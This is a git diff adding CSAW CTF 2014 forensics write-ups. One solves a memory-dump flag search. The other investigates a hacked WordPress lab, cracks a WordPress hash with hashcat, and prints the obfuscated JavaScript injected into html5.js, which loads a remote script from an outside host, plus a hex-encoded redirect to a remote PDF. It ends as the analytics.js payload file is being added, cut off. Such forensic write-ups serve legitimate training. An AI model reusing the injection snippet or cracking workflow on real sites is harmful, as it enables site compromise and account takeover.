PyCipher project on SourceForge.net +# (http://sourceforge.net/projects/pycipher/). The original copyright notice +# is preserved below as required; these modifications are released under the +# same terms. +# +# +# Copyright (c) 2005, Aggelos Orfanakos +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/forensics/README.md b/CTFs/2014-CSAW-CTF/forensics/README.md new file mode 100644 index 0000000..e69de29 diff --git a/CTFs/2014-CSAW-CTF/forensics/big-data/README.md b/CTFs/2014-CSAW-CTF/forensics/big-data/README.md new file mode 100644 index 0000000..ca1bda1 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/forensics/big-data/README.md @@ -0,0 +1,161 @@ +# Forensics-100: dumpster diving + +This is the first forensic problem, and it is only 100 points. The problem starts with the following text: + +> dumpsters are cool, but cores are cooler +> +> Written by marc +> +> [firefox.mem.zip] + + + +---------- + +##Unziping firefox.mem.zip + +The given file has a funny extension *.mem.zip*. Before we go ahead and unzip it, let's try to learn more about this file. To do this we choose to use the Linux's command [file]: + +```sh +$ file --help +Usage: file [OPTION...] [FILE...] +Determine type of FILEs. + + --help display this help and exit + -v, --version output version information and exit + -m, --magic-file LIST use LIST as a colon-separated list of magic + number files + -z, --uncompress try to look inside compressed files + -b, --brief do not prepend filenames to output lines + -c, --checking-printout print the parsed form of the magic file, use in + conjunction with -m to debug a new magic file + before installing it + -e, --exclude TEST exclude TEST from the list of test to be + performed for file. Valid tests are: + apptype, ascii, cdf, compress, elf, encoding, + soft, tar, text, tokens + -f, --files-from FILE read the filenames to be examined from FILE + -F, --separator STRING use string as separator instead of `:' + -i, --mime output MIME type strings (--mime-type and + --mime-encoding) + --apple output the Apple CREATOR/TYPE + --mime-type output the MIME type + --mime-encoding output the MIME encoding + -k, --keep-going don't stop at the first match + -l, --list list magic strength + -L, --dereference follow symlinks (default) + -h, --no-dereference don't follow symlinks + -n, --no-buffer do not buffer output + -N, --no-pad do not pad output + -0, --print0 terminate filenames with ASCII NUL + -p, --preserve-date preserve access times on files + -r, --raw don't translate unprintable chars to \ooo + -s, --special-files treat special (block/char devices) files as + ordinary ones + -C, --compile compile file specified by -m + -d, --debug print debugging messages +``` + +We find the flag ```-z```, which allows us to look inside the zipped files: + +```sh +$ file -z firefox.mem.zip +firefox.mem.zip: ELF 64-bit LSB core file x86-64, version 1 (SYSV) (Zip archive data, at least v2.0 to extract) +``` +Cool! So let's go ahead and unzip this file: + +```sh +$ unzip firefox.mem.zip nzip firefox.mem.zip +Archive: firefox.mem.zip + inflating: firefox.mem + creating: __MACOSX/ + inflating: __MACOSX/._firefox.mem +``` + +-------- + + + +## Extra: Learning More about the *.mem* File + +This is a very weird file extension. If you google *.mem*, you don't find much, it's clear it's a memory file, but what now? From the *file* command, we learned that this is an *ELF 64-bit LSB core*. Let's understand this by parts. + +An [ELF] file (Executable and Linkable Format) is a standard file format for executables, object code, shared libraries, and core dumps. The cool thing about ELF is that it's not bound to any particular architecture. + +In Linux, we can use the command [readelf] to displays information about ELF files: + + +```sh +$ readelf firefox.mem +Usage: readelf elf-file(s) + Display information about the contents of ELF format files + Options are: + -a --all Equivalent to: -h -l -S -s -r -d -V -A -I + -h --file-header Display the ELF file header + -l --program-headers Display the program headers + --segments An alias for --program-headers + -S --section-headers Display the sections' header + --sections An alias for --section-headers + -g --section-groups Display the section groups + -t --section-details Display the section details + -e --headers Equivalent to: -h -l -S + -s --syms Display the symbol table + --symbols An alias for --syms + --dyn-syms Display the dynamic symbol table + -n --notes Display the core notes (if present) + -r --relocs Display the relocations (if present) + -u --unwind Display the unwind info (if present) + -d --dynamic Display the dynamic section (if present) + -V --version-info Display the version sections (if present) + -A --arch-specific Display architecture specific information (if any) + -c --archive-index Display the symbol/file index in an archive + -D --use-dynamic Use the dynamic section info when displaying symbols + -x --hex-dump= + Dump the contents of section as bytes + -p --string-dump= + Dump the contents of section as strings + -R --relocated-dump= + Dump the contents of section as relocated bytes + -w[lLiaprmfFsoRt] or + --debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames, + =frames-interp,=str,=loc,=Ranges,=pubtypes, + =gdb_index,=trace_info,=trace_abbrev,=trace_aranges] + Display the contents of DWARF2 debug sections + --dwarf-depth=N Do not display DIEs at depth N or greater + --dwarf-start=N Display DIEs starting with N, at the same depth + or deeper + -I --histogram Display histogram of bucket list lengths + -W --wide Allow output width to exceed 80 characters + @ Read options from + -H --help Display this information + -v --version Display the version number of readelf + +``` + + +In addition, [LSB] stands for *Linux Standard Base*, which is a joint project by several Linux distributions. It specifies standard libraries, a number of commands and utilities that extend the POSIX standard, the layout of the file system hierarchy, run levels, the printing system, etc. + + + + +--- + +## Extracting Information from the *.mem* File + +It turned out that we don't even need to know anything about the file to find the flag. All we need to do is to search for the *flag* string: + +```sh +$ cat firefox.mem | grep -a 'flag{' +P��negativeone_or_fdZZZZZZZZZZZZnegativeone_or_nothingZZnegativeone_or_ssize_tZZd_name_extra_sizeZZZZZZZZZZZZnull_or_dirent_ptrZZZZZZZZZZOSFILE_SIZEOF_DIRZZZZZZZZZZZZ���� 3���������ZZZZZZZH�f�L��L��ZZ����@�m���������ZZZZZZZAG�@r���y��ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291} +``` + +Yay! We found the flag: **cd69b4957f06cd818d7bf3d61980e291**! + +**Hack all the things!** + + +[LSB]: http://en.wikipedia.org/wiki/Linux_Standard_Base +[readelf]: http://linux.die.net/man/1/readelf +[file]: http://en.wikipedia.org/wiki/File_(command) +[firefox.mem.zip]: https://ctf.isis.poly.edu/static/uploads/606580b079e73e14ab2751e35d22ad44/firefox.mem.zip +[ELF]: http://en.wikipedia.org/wiki/Executable_and_Linkable_Format \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/forensics/big-data/firefox.mem.zip b/CTFs/2014-CSAW-CTF/forensics/big-data/firefox.mem.zip new file mode 100644 index 0000000..877670e Binary files /dev/null and b/CTFs/2014-CSAW-CTF/forensics/big-data/firefox.mem.zip differ diff --git a/CTFs/2014-CSAW-CTF/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 b/CTFs/2014-CSAW-CTF/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 new file mode 100644 index 0000000..d05d420 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 differ diff --git a/CTFs/2014-CSAW-CTF/forensics/fluffy/README.md b/CTFs/2014-CSAW-CTF/forensics/fluffy/README.md new file mode 100644 index 0000000..9fa4bf3 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/forensics/fluffy/README.md @@ -0,0 +1,568 @@ +# Forensics-300: Fluffy No More + +This is the fourth and the last forensics challenge in the CSAW CTF 2014 competition. I think it was much harder than any of the three before it, but it's also much more interesting. + +The challenge stars with the following text: + + +> OH NO WE'VE BEEN HACKED!!!!!! -- said the Eye Heart Fluffy Bunnies Blog owner. +> Life was grand for the fluff fanatic until one day the site's users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious "Forgotten Freaks" hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!?? +> +>Well... The fluff needs your stuff. I've pulled the logs from the server for you along with a backup of it's database and configuration. Figure out what is going on! +> +>Written by brad_anton +> +> [CSAW2014-FluffyNoMore-v0.1.tar.bz2] + +Oh, no! Nobody should mess with fluffy bunnies! Ever! Let's find how this attack happened! + + +## Inspecting the Directories + +We start by checking the identity of the file with the command [file]. We do this to make sure that the extension is not misleading: +```sh +$ file CSAW2014-FluffyNoMore-v0.1.tar.bz2 +CSAW2014-FluffyNoMore-v0.1.tar.bz2: bzip2 compressed data, block size = 900k + +``` + +OK, cool, we can go ahead and unzip the *bzip2* (compressed) tarball: + +```sh +$ tar --help | grep bz + -j, --bzip2 filter the archive through bzip2 +$ tar -xjf CSAW2014-FluffyNoMore-v0.1.tar.bz2 +``` +Now, let's take a look inside the folder: +```sh +$ tree CSAW2014-FluffyNoMore-v0.1 +CSAW2014-FluffyNoMore-v0.1 +├── etc_directory.tar.bz2 +├── logs.tar.bz2 +├── mysql_backup.sql.bz2 +└── webroot.tar.bz2 + +0 directories, 4 files +``` + +All right, 4 more tarballs. Unzip and organizing them, gives us the following directories: + + - etc/ + - var/log and var/www + - mysql_backup.sql ([MySQL database dump file]) + + +This is the directory structure of a [LAMP server], where LAMP stands for Linux-Apache-MySQL-PHP in the [Linux File System]. In this framework, the PHP/HTML/JavaScript webpage is placed inside ```var/www```. + +The directory ```var/``` contains files that are expected to change in size and content as the system is running (var stands for variable). So it is natural that system log files are generally placed at ```/var/log```. + + + Finally, the ```etc/``` directory contains the system configuration files. For example, the file ```resolv.conf``` tells the system where to go on the network to obtain host name to IP address mappings (DNS), or the file ```passwd``` stores login information. + +--- + +## Life is Made of Futile Tries + +OK, before anything, we need to give a chance: +```sh +$ grep -r -l "key{" +var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css +webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css + +$ grep -r -l "flag{" +var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css +webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css +``` + + Is our life this easy??? No, of course not. The hits we got are just funny names to mislead us, for example: +```html + -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px +``` + +--- +## Analyzing the MySQL Dump File + +Let's start taking a look at ```mysql_backup.sql```. + +Of course, no luck for: + +```sh +$ cat mysql_backup.sql | grep 'flag{' +``` + +Fine. We open ```mysql_backup.sql``` in a text editor. The comments table shows that someone named "hacker" made an appearance: + + +```mysql +-- MySQL dump 10.13 Distrib 5.5.38, for debian-linux-gnu (i686) +-- +-- Host: localhost Database: wordpress +-- ------------------------------------------------------ + +-- Dumping data for table `wp_comments` +-- +(..) + +(4,5,'Hacker','hacker@secretspace.com','','192.168.127.130','2014-09-16 14:21:26','2014-09-16 14:21:26','I HATE BUNNIES AND IM GOING TO HACK THIS SITE BWHAHAHAHAHAHAHAHAHAHAHAH!!!!!!! BUNNIES SUX',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0), + +(7,5,'Bald Bunny','nohair@hairlessclub.com','','192.168.127.130','2014-09-16 20:47:18','2014-09-16 20:47:18','I find this blog EXTREMELY OFFENSIVE!',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0), + +(8,5,'MASTER OF DISASTER','shh@nottellin.com','','192.168.127.137','2014-09-17 19:40:57','2014-09-17 19:40:57','Shut up baldy',0,'1','Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko','',7,0); +(...) +``` + +So we have the (possible) **attacker's email** and **IP address**. Maybe we can try to find a bit more about her. + +Unfortunately the IP leads to nowhere: +```sh +$ ping 192.168.127.130 +PING 192.168.127.130 (192.168.127.130) 56(84) bytes of data. +^C +--- 192.168.127.130 ping statistics --- +160 packets transmitted, 0 received, 100% packet loss, time 158999ms + +$ nmap -A -v 192.168.127.130 +Starting Nmap 6.45 ( http://nmap.org ) at 2014-09-25 15:43 EDT +NSE: Loaded 118 scripts for scanning. +NSE: Script Pre-scanning. +Initiating Ping Scan at 15:43 +Scanning 192.168.127.130 [2 ports] +Completed Ping Scan at 15:43, 3.00s elapsed (1 total hosts) +Nmap scan report for 192.168.127.130 [host down] +NSE: Script Post-scanning. +Read data files from: /usr/bin/../share/nmap +Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn +Nmap done: 1 IP address (0 hosts up) scanned in 3.13 seconds +``` + +Searching for the host **secretspace.com** leads to some generic website. Inspecting its source code does not give us any hint either. Maybe its IP address? + +```sh +$ dig secretspace.com + +; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> secretspace.com +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61131 +;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 + +;; QUESTION SECTION: +;secretspace.com. IN A + +;; ANSWER SECTION: +secretspace.com. 285 IN A 72.167.232.29 + +;; Query time: 7 msec +;; SERVER: 10.0.0.1#53(10.0.0.1) +;; WHEN: Thu Sep 25 15:51:26 EDT 2014 +;; MSG SIZE rcvd: 49 +``` + +The IP 72.167.232.29 leads to another generic page with no hints and with nothing in special in the sourcecode. Wrong direction... + + +All right, let's give a last try and open the tables from the MySQL dump file inside a nice GUI. I use [phpMyAdmin], which I showed how to install and configure in my tutorial about setting up a [LAMP server]. + +We open ```localhost/phpmyadmin``` in our browser. First we go to *Databases* and then *Create Database* with any name we want. Then we *Import* ```mysql_backup.sql`` to this database. All the tables are loaded. Let's use the *Search* option to look for *key* or *flag*. + + +![](http://i.imgur.com/tVOY1VJ.png) +![](http://i.imgur.com/jY7CbLZ.png) + +Nope. Nothing in special. By the way, ```default_pingback_flag1`` is just a **Wordpress** flag indicating the default status of ping backs when new blog posts are published. + +Continuing our searc, if we look inside inside each of the tables we find: + - The URL for the [blog], which doesn't render. However, in the source code, there is a commented link that leads to a [cute website]. Nothing else. + - A hashed password! +![](http://i.imgur.com/FiQONze.png) + +--- +## Cracking the Password + +We want to unhash ```$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1``` and for this we are going to use [hashcat]. If you are in [Kali] or in any Debian distribution you can install it with: +```sh +$ apt-get hashact +``` + +In Fedora, we need to download and unzip it: +```sh +$ wget http://hashcat.net/files/hashcat-0.47.7z +$ 7za e hashcat-0.47.7z +``` + +Now, we are going to perform a brute force attack so we need a list of passwords. If you are using Kali, you can find them with: + +```sh +$ locate wordlist +``` +If this is not the case, this is an example for you (it's allways good to have several lists!): +```sh +$ wget http://www.scovetta.com/download/500_passwords.txt +$ head 500_passwords.txt +123456 +password +12345678 +1234 +pussy +12345 +dragon +qwerty +696969 +mustang +``` + +Hashcat is awesome because it gives you a list of hash types: + +``` + 0 = MD5 + 10 = md5($pass.$salt) + 20 = md5($salt.$pass) + 30 = md5(unicode($pass).$salt) + 40 = md5(unicode($pass).$salt) + 50 = HMAC-MD5 (key = $pass) + 60 = HMAC-MD5 (key = $salt) + 100 = SHA1 + 110 = sha1($pass.$salt) + 120 = sha1($salt.$pass) + 130 = sha1(unicode($pass).$salt) + 140 = sha1($salt.unicode($pass)) + 150 = HMAC-SHA1 (key = $pass) + 160 = HMAC-SHA1 (key = $salt) + 200 = MySQL + 300 = MySQL4.1/MySQL5 + 400 = phpass, MD5(Wordpress), MD5(phpBB3) + 500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 + 800 = SHA-1(Django) + (...) +``` + +We choose 400 because we are dealing with Wordpress. We copy and paste the hash to a file *pass.hash*. Then, we run: +```sh +$ ./hashcat-cli64.bin -m 400 -a 0 -o cracked.txt --remove pass.hash word_list.txt + +Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size... + +Added hashes from file crack1.hash: 1 (1 salts) +Activating quick-digest mode for single-hash with salt + +NOTE: press enter for status-screen + + +All hashes have been recovered + +Input.Mode: Dict (500_passwords.txt) +Index.....: 1/1 (segment), 1 (words), 14 (bytes) +Recovered.: 1/1 hashes, 1/1 salts +Speed/sec.: - plains, - words +Progress..: 1/1 (100.00%) +Running...: 00:00:00:01 +Estimated.: --:--:--:-- + +Started: Thu Sep 25 18:25:49 2014 +Stopped: Thu Sep 25 18:25:50 2014 + +``` +where: + + * -m is for --hash-type=NUM + * -a 0: Using a dictionary attack + * cracked.txt is the output file + * word_list.txt is our dictionary + + +Now let's take a peak in the output file: + +```sh +$ cat cracked.txt +$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1:fluffybunnies +``` + +It worked! Our password is **fluffybunnies**! + +All right, this is a very silly password! It could be easy guessed. If you were the attacker, wouldn't you try this as the first option ? OK, maybe right after *password* and *123456*... + + +#### What we have so far +In conclusion, all we have learned from this file was the attacker's motivation, the blog's URL, that the application was in Wordpress, and a password. Ah, also that ```mailserver_login:login@example.com``` and ```mailserver_pass=password```. Talking about security... Let's move on. + +--- +## Inspecting /var/logs/apache2 + +The next item in the list is log inspection: + +```sh +$ find . -type f -name '*.log' +./apache2/error.log +./apache2/access.log +./apache2/other_vhosts_access.log +./fontconfig.log +./boot.log +./gpu-manager.log +./mysql.log +./bootstrap.log +./pm-powersave.log +./kern.log +./mysql/error.log +./alternatives.log +./lightdm/x-0.log +./lightdm/lightdm.log +./casper.log +./auth.log +./apt/term.log +./apt/history.log +./dpkg.log +./Xorg.0.log +./upstart/container-detect.log +./upstart/console-setup.log +./upstart/mysql.log +./upstart/alsa-state.log +./upstart/network-manager.log +./upstart/whoopsie.log +./upstart/procps-virtual-filesystems.log +./upstart/cryptdisks.log +./upstart/systemd-logind.log +./upstart/procps-static-network-up.log +./upstart/alsa-restore.log +./upstart/modemmanager.log +``` + + + If there is any important information in the log files, it should appears in the end of it, because the attack should be one of the last things that were logged. [Tailing] the *apache* logs did not reveal anything useful. Maybe it is interesting to know that we see the IP *192.168.127.137* in the file */apache2/access.log*, which belongs to *MASTER OF DISASTER* (see above). So *hacker* was not the attacker? + + +----- +## Inspecting var/logs/auth.log + + +Now, considering that the password **fluffybunnies** was very easy to guess, we are going to take a leap and suppose that this was how the attack was crafted. Tailing ```auth.log``` shows something interesting: + +```sh +Sep 17 19:18:53 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/bin/chmod -R 775 /var/www/ +Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js +Sep 17 19:20:55 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/find /var/www/html/ * touch {} +``` +So someone logged as root and: + 1. downgraded the permissions of */var/www* (755 means read and execute access for everyone and also write access for the owner of the file), and + 2. modified a JavaScript file (html5.js) in *vi*. + +--- +## Finding the JavaScript Exploit + + +It looks like an attack to me! Let's [diff] this JavaScript file with the original ([which we can just google]): + + +```sh +$ diff html5.js html5_normal.js +93,122d92 +< var g = "ti"; +< var c = "HTML Tags"; +< var f = ". li colgroup br src datalist script option ."; +< f = f.split(" "); +< c = ""; +< k = "/"; +< m = f[6]; +< for (var i = 0; i < f.length; i++) { +< c += f[i].length.toString(); +< } +< v = f[0]; +< x = "\'ht"; +< b = f[4]; +< f = 2541 * 6 - 35 + 46 + 12 - 15269; +< c += f.toString(); +< f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1; +< c += f.toString(); +< f = ""; +< c = c.split(""); +< var w = 0; +< u = "s"; +< for (var i = 0; i < c.length; i++) { +< if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) { +< f += String.fromCharCode(46); +< w++; +< } +< f += c[i]; +< } +< i = k + "anal"; +< document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\"); + +``` +Aha!!! So what is being written? + +In JavaScript, the function ```document.write()``` writes HTML expressions or JavaScript code to a document. However, we can debug it in the console if we want, changing it to ```console.log()``` (and changing any ```document``` word to ```console```). To run JavaScript in the console, you need to install [Node]: +```sh +$ node html5.js + +``` +---- + +## Analyzing the Second JavaScript Exploit + +Awesome, we see a script exploit! Let's get it! + +```sh +$ wget http://128.238.66.100/analytics.js +--2014-09-25 19:17:19-- http://128.238.66.100/analytics.js +Connecting to 128.238.66.100:80... connected. +HTTP request sent, awaiting response... 200 OK +Length: 16072 (16K) [application/javascript] +Saving to: ‘analytics.js’ + +100%[===============================================================================>] 16,072 --.-K/s in 0.008s + +2014-09-25 19:17:19 (2.02 MB/s) - ‘analytics.js’ saved [16072/16072] +``` + + +The file turns out to be large, and *grep* *flag* or *key* doesn't give any result back. No IP addresses or URL neither. + +OK, let's take a closer look at it. We open the file in a text editor and we found a weird hex-encoded variable that is completely unconnected from the rest: +``` +var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"]; +window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]); +``` + +We decode it using Python or a [online hex-decode]: +```python +>>> print("\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E") +('http://128.238.66.100/announcement.pdf', '_self', 'open') +``` + +OK, another file. Opening the URL leads to this picture: +![](http://i.imgur.com/CNEQhfG.png) + + +No flag yet... But it should be in the PDF somewhere! + +___ +## Finding the Second Hex-encoded String: Approach I + + +All right, let's use what we learned from the [CSAW CTF 2014 Forensic -Obscurity] problem. First, let's see if we find the flag with a simple grep: +```sh +$./pdf-parser.py announcement.pdf | grep flag +$./pdf-parser.py announcement.pdf | grep key +``` + +No luck. Let us ID the file to see if we find any funny stream: + +```sh +$ ./pdfid.py announcement.pdf PDFiD 0.1.2 announcement.pdf + PDF Header: %PDF-1.4 + obj 9 + endobj 9 + stream 4 + endstream 4 + xref 1 + trailer 1 + startxref 1 + /Page 1 + /Encrypt 0 + /ObjStm 0 + /JS 0 + /JavaScript 0 + /AA 0 + /OpenAction 0 + /AcroForm 0 + /JBIG2Decode 0 + /RichMedia 0 + /Launch 0 + /EmbeddedFile 1 + /XFA 0 + /Colors > 2^24 0 +``` + +Oh, cool, there is a **Embedded File**! Let's look closer to this object: +```sh +$ ./pdf-parser.py --stats announcement.pdf Comment: 3 +XREF: 1 +Trailer: 1 +StartXref: 1 +Indirect object: 9 + 2: 3, 7 + /Catalog 1: 6 + /EmbeddedFile 1: 8 + /Filespec 1: 9 + /Page 1: 5 + /Pages 1: 4 + /XObject 2: 1, 2 +``` + + Nice. So now we can decode our pdf file using the **object code**, which we can see above that is **8**: + +```sh +$ ./pdf-parser.py --object 8 --raw --filter announcement.pdf +obj 8 0 + Type: /EmbeddedFile + Referencing: + Contains stream + + << + /Length 212 + /Type /EmbeddedFile + /Filter /FlateDecode + /Params + << + /Size 495 + /Checksum <7f0104826bde58b80218635f639b50a9> + >> + /Subtype /application/pdf + >> + + var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0]; + +``` +Which *finally* leads to our flag! +```python +>>> print("\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D") +YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :) key{Those Fluffy Bunnies Make Tummy Bumpy} +``` + +--- +## Finding the Second Hex-encoded String: Approach II + +There is a nice tool called [qpdf] that can be very useful here: +```sh +$ sudp yum install qpf +``` + +Now, we just do the following conversion: +```sh +$ qpdf --qdf announcement.pdf unpacked.pdf +``` + +Opening *unpacket.pdf* with [l3afpad] also leads to the flag : + +``` +stream +var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0]; +endstream +endobj +```` + + +-------------- +**That's it! Hack all the things!** + + + +[MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html +[CSAW CTF 2014 Forensic -Obscurity]: https://gist.github.com/bt3gl/4574e99fe0f0dbdb56a9 +[online hex-decode]: http://ddecode.com/hexdecoder/ +[which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html +[Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix) +[phpMyAdmin]: http://www.phpmyadmin.net/home_page/index.php +[qpdf]: http://qpdf.sourceforge.net/ +[l3afpad]: http://tarot.freeshell.org/leafpad/ +[diff]: http://linux.die.net/man/1/diff +[MySQL database dump file]: http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html +[Linux File System]: http://www.tldp.org/LDP/intro-linux/html/sect_03_01.html +[LAMP server]: https://coderwall.com/p/syyk0g?i=5&p=1&q=author%3Abt3gl&t%5B%5D=bt3gl +[CSAW2014-FluffyNoMore-v0.1.tar.bz2]: https://ctf.isis.poly.edu/static/uploads/649bdf6804782af35cb9086512ca5e0d/CSAW2014-FluffyNoMore-v0.1.tar.bz2 +[bzip2]: http://en.wikipedia.org/wiki/Bzip2 +[cute website]: http://ww17.blog.eyeheartfluffybunnies.com/?fp=Tnxj5vWdcChO2G66EhCHHqSAdskqgQmZEbVQIh1DCmrgCyQjbeNsPhkvCpIUcP19mwOmcCS1hIeFb9Aj3%2FP4fw%3D%3D&prvtof=RyfmkPY5YuWnUulUghSjPRX510XSb9C0HJ2xsUn%2Fd3Q%3D&poru=jcHIwHNMXYtWvhsucEK%2BtSMzUepfq46Tam%2BwGZBSFMjZiV2p3eqdw8zpPiLr76ixCoirz%2FR955vowRxEMBO%2FoQ%3D%3D&cifr=1&%22 +[blog]: http://ww17.blog.eyeheartfluffybunnies.com +[hashcat]: http://hashcat.net/hashcat/ +[file]: http://en.wikipedia.org/wiki/File_(command) +[Kali]: http://www.kali.org/ +[Node]: http://nodejs.org/ \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/forensics/fluffy/analytics.js b/CTFs/2014-CSAW-CTF/forensics/fluffy/analytics.js new file mode 100644 index 0000000..8a883ff --- /dev/null +++ b/CTFs/2014-CSAW-CTF/forensics/fluffy/analytics.js @@ -0,0 +1,325 @@ +function aiho(a) { + "use strict"; + var b, c = this; + if (this.trackingClick = !1, this.trackingClickStart = 0, this.targetElement = null, this.touchStartX = 0, this.touchStartY = 0, 